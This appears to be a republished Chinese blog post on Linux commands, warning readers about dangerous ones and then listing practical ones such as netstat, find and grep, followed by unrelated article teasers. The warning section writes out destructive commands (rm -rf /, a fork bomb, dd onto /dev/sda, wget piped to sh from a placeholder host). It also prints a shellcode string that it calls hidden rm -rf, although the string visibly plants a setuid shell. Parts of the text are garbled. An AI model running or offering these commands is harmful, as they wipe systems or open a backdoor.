【Linux】手残党必学,再也不用跑路了

news2024/11/29 6:37:42

目录

  • 🚨危险命令,请勿靠近TAT
    • 🖋️rm –rf
    • 🖋️){:|:&};:
    • 🖋️mv 指定的文件夹 /dev/null
    • 🖋️wget http://malicious_source -O- | sh
    • 🖋️dd if=/dev/random of=/dev/sda
    • 🖋️隐藏命令
  • ❤️实用命令,请牢记~
    • 🖋️rm(条件匹配删除)
    • 🖋️netstat命令(查看进程)
    • 🖋️netstat命令(查看端口)
    • 🖋️tree命令
    • 🖋️find命令
    • 🖋️grep命令
    • 🖋️lsb命令

🚨危险命令,请勿靠近TAT

🖋️rm –rf

rm 删除linux下的文件
rm -r 递归删除文件夹,包括空文件夹
rm -f 强制无条件删除只读文件
rm -rf / 强制无条件删除root目录下所有内容
rm -rf * 强制无条件删除当前目录下所有内容。
rm -rf . 强制无条件删除当前文件夹和子文件夹

综上所述,在你执行rm –rf命令时千万要小心,大家可以在.bashrc里面添加:
aliasrm= 'rm -i'
这样,在你下次删除东西的时候,它会提醒你到底要删啥。

🖋️){😐:&};:

这个命令其实是一种fork炸弹,它定义了一个叫“:”的函数,调用了自己两次,一次是在前台,一次是在后台。关键是这样的调用会无限循环,直到系统崩溃。

手贱的同学可以尽管在虚拟机里试试:

){ :|:&}; :任意命令 > /dev/sda

这个例子是讲,我们执行了任意命令,并输出到/dev/sda。这样的话,/dev/sda 里面的文件会被命令输出的内容全部替换掉,最后丢失掉其中原有的数据。

🖋️mv 指定的文件夹 /dev/null

这个mv命令会把指定的文件夹移动到/dev/null。在linux下,/dev/null或null是一种特殊的文件,它们会把写入自身的数据全部丢弃,再返回操作成功的消息。
mv /home/user/* /dev/null
上面的命令会把/home/user/下面所有的内容,全部移动到/dev/null,这就是个无底的神坑。

🖋️wget http://malicious_source -O- | sh

这个命令可能会直接下载恶意的源文件,然后使用sh直接执行该脚本。

🖋️dd if=/dev/random of=/dev/sda

dd命令会擦掉/dev/sda下面的内容,然后写入随机的垃圾数据,最后你的系统会受到不可逆转的破坏。

🖋️隐藏命令

下面的命令相当于rm –rf,它会藏在十六进制hex中。大家在不知情的情况下运行它,可能就会直接擦除掉整个root目录:

char esp[] __attribute__((section(“.text”))) /* e.s.prelease */= “xebx3ex5bx31xc0x50x54x5ax83xecx64x68″“xffxffxffxffx68xdfxd0xdfxd9x68x8dx99″“xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7″“x56x04xf7x56x08xf7x56x0cx83xc4x74x56″“x8dx73x08x56x53x54x59xb0x0bxcdx80x31″“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″“x6ex2fx73x68x00x2dx63x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”; 

❤️实用命令,请牢记~

🖋️rm(条件匹配删除)

rm -rf `ls -a|grep -E "文件名"`

在这里插入图片描述

🖋️netstat命令(查看进程)

netstat -ntlp | grep 3306

netstat -ntlp | grep mysql

🖋️netstat命令(查看端口)

lsof -i:3306

🖋️tree命令

[root@localhost ~]# tree
.
├── A
│   └── B
│       └── C 
├── csdn.net
│   └── index.html
├── Desktop
├── Documents
├── Downloads 
├── Music
├── Pictures
├── Public
├── Templates
└── Videos
 
10 directories, 3 files

🖋️find命令

示例:find . -name "*test*"

🖋️grep命令

qq
cat test.txt | grep -n "aa"显示匹配值所在的行
cat test.txt | grep -in "ee" 不区分大小写 显示匹配值所在的行(默认区分大小写)
cat test.txt | grep -inv "ee"不区分大小写显示不匹配值所在的行
history | grep cat查看命令输入历史里含有cat的内容

🖋️lsb命令

查询操作系统版本号:lsb_release -a (使用命令时提示command not found,需要安装yum install redhat-lsb -y)
在这里插入图片描述


学习参考:手残也不该敲的命令

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1815676.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

国标GB28181安防视频监控EasyCVR平台级联时上级平台不显示通道是什么原因?

国标GB28181安防视频监控/视频集中存储/云存储/磁盘阵列EasyCVR平台部署轻快,可支持的主流标准协议有GA/T 1400、国标GB28181、RTSP/Onvif、RTMP等,以及支持厂家私有协议与SDK接入,包括海康Ehome、海大宇等设备的SDK等。 有用户反馈&#xff…

蓝牙芯片TD5322A,蓝牙5.1数传芯片介绍—拓达半导体

蓝牙芯片原厂,拓达芯片TD5322A是一颗支持蓝牙BLE和SPP的数传芯片,蓝牙5.1版本。芯片的优点是尺寸小(SOP-8封装),性能强,价格低,以及简单明了的透传和串口AT控制功能,大大降低了在其它电子产品中…

java版spring cloud 深入探究ERP管理系统源码:功能模块详解与操作流程梳理

随着数字化转型的深入,企业对于高效、稳定且具有扩展性的管理系统的需求日益增加。为此,我们开发了一套基于Java技术的鸿鹄ERP管理系统,该系统整合了Spring Cloud Alibaba、Spring Boot、MybatisPlus、Redis等前沿技术,并采用了VU…

XmanagerXShell软件下载及安装教程

​XManager企业版是一款完整的企业网络连接套件,它配备了一个高性能的PC服务器,安全终端模拟器,是一个一体化的解决方案,将xmanager,xshell,xftp,xlpd,Xbrowser及xstart放置在一个软…

maven版本

一、快照版本SNAPSHOT和发布版本RELEASE区别 快照版本SNAPSHOT和发布版本RELEASE区别-CSDN博客 在使⽤maven过程中,我们在开发阶段经常性的会有很多公共库处于不稳定状态,随时需要修改并发布,可能⼀天就要发布⼀次,遇到bug时&am…

【ETAS CP AUTOSAR基础软件】BswM模块详解

文章包含了AUTOSAR基础软件(BSW)中BswM模块相关的内容详解。本文从AUTOSAR规范解析,ISOLAR-AB配置以及模块相关代码分析三个维度来帮读者清晰的认识和了解BswM这一基础软件模块。文中涉及的SOLAR-AB配置以及模块相关代码都是依托于ETAS提供的…

扩散模型ddpm原理

扩散模型ddpm原理 bilibili 视频讲解 笔记记录 总结:模型反向还原过程中,除模型推理得到噪声预测,还需要从标准正太分布中采样一份噪声,两者的线性组合得到前一时刻的降噪结果,这里可能会有较大的不确定性(对于生成式任…

2024最新最全【大模型】人工智能零基础入门到精通,看完这一篇就够了!

大模型技术是一个涉及人工智能、机器学习、深度学习等多个领域的复杂课题。学习大模型技术通常需要以下几个步骤: 基础知识学习:首先,需要掌握计算机科学、数据结构和算法的基础知识。此外,对线性代数、概率论和统计学有一定的理…

面试题:Redis和MySql数据库如何保持数据一致性?

前提引入: 在高并发的场景下,大量的请求直接访问Mysql很容易造成性能问题。所以,我们都会用Redis来做数据的缓存,削减对数据库的请求。但是,Mysql和Redis是两种不同的数据库,如何保证不同数据库之间数据的一…

C# WPF入门学习番外篇——C#使用WPF连接MySQL数据库

在 C# 中使用 WPF 连接 MySQL 数据库涉及几个步骤,包括安装必要的库,配置连接字符串,编写代码以执行数据库操作等。下面是一个详细的入门教程,帮助你理解如何在 WPF 应用程序中使用 MySQL 数据库。 1. 安装 MySQL 数据库连接器 …

打工人必看!AI+PS插件轻松搞定电商产品图!保姆教程来啦!

大家好哇!我是你们的AIGC测评博主米兔! 在当今电商蓬勃发展的时代,一张高质量、具有吸引力的产品图能够迅速吸引消费者的目光,提升购买欲望。今天,我们就来探讨一下如何利用AI结合PS插件制作电商产品图,让…

typore 中的图片问题

在自己上传图片到图床时&#xff0c;被自己蠢哭了,大家千万不要犯这个低级错误啊 ![]() ![1681292306466](images/1681292306466.png) 和 <img src"images/1681287264843.png" alt"1681287264843" style"zoom:50%;" /> 这两行代码都是用来…

[next.js] svgr/webpack

nextjs如何配置svg文件&#xff0c;使其像react组件一样导入? 当前next.js 开发环境我使用了--turbo 来开启turbopack加速文件构建&#xff0c;所以之前的一些webpack loader之类的无法正常工作。通过搜索发现一般都是使用svgr/webpack来处理svg&#xff0c;打开svgr官网发现…

OKCC系统之编解码转码

G.729&#xff1a; 编码前的原始音频是8k采样率&#xff0c;16bit数据。 压缩率为16:1&#xff0c;通过算法对原始音频进行压缩&#xff0c;10ms的原始数据压缩后得到80bit&#xff08;10个字节Byte&#xff09;。 每一帧的处理时间控制为5ms&#xff0c;总时延相当于15ms&a…

私有云数据库特征

私有云数据库具有以下几个主要特征&#xff1a; 控制和安全&#xff1a; 数据控制&#xff1a;组织对数据有完全的控制权&#xff0c;可以根据需要设置访问权限和安全策略。安全性&#xff1a;私有云数据库通常部署在组织内部的数据中心&#xff0c;利用内部网络&#xff0c…

亚马逊 CEO 杰夫·贝索斯的 21 个经营哲学

1、 百度安全验证https://baijiahao.baidu.com/s?id1618175433694746339&wfrspider&forpc

Golang 依赖注入库Wire应用案例

文章目录 简介Github指南安装案例wire.NewSetwire.Buildwire.Bindwire.Structwire.Valuewire.InterfaceValue 简介 Go语言的依赖注入库Wire是由Google提供的一个代码生成工具&#xff0c;用于简化和自动化依赖注入过程。Wire主要通过生成代码来处理依赖关系&#xff0c;而不是…

Matlab解决施密特正交规范化矩阵(代码开源)

#最近在学习matlab&#xff0c;刚好和线代论文重合了 于是心血来潮用matlab建了一个模型来解决施密特正交规范化矩阵。 我们知道这个正交化矩阵挺公式化的&#xff0c;一般公式化的内容我们都可以用计算机来进行操作&#xff0c;节约我们人工的时间。 我们首先把矩阵导入进去…

木工开料机与雕刻机:区别何在,如何选择?

在木工行业中&#xff0c;开料机和雕刻机都是不可或缺的重要设备。虽然它们在某些方面有着相似之处&#xff0c;但实际上它们的功能、应用场景以及操作方式都存在着明显的差异。那么&#xff0c;木工开料机与雕刻机到底有哪些区别呢&#xff1f;又该如何根据实际需求进行选择呢…

PS系统教程16

图案图章工具-印象派效果 另一种用法-印象派效果 新建图层选择图案进行绘画 如果绘画效果不强 进行画笔设置 选择复位所有锁定位置 将画笔改为硬边缘 为什么没有出来雨点效果 因为我们选择了印象派 新建图层取消勾选印象派 基本用法&#xff1a;可以去做图案和背景 使用…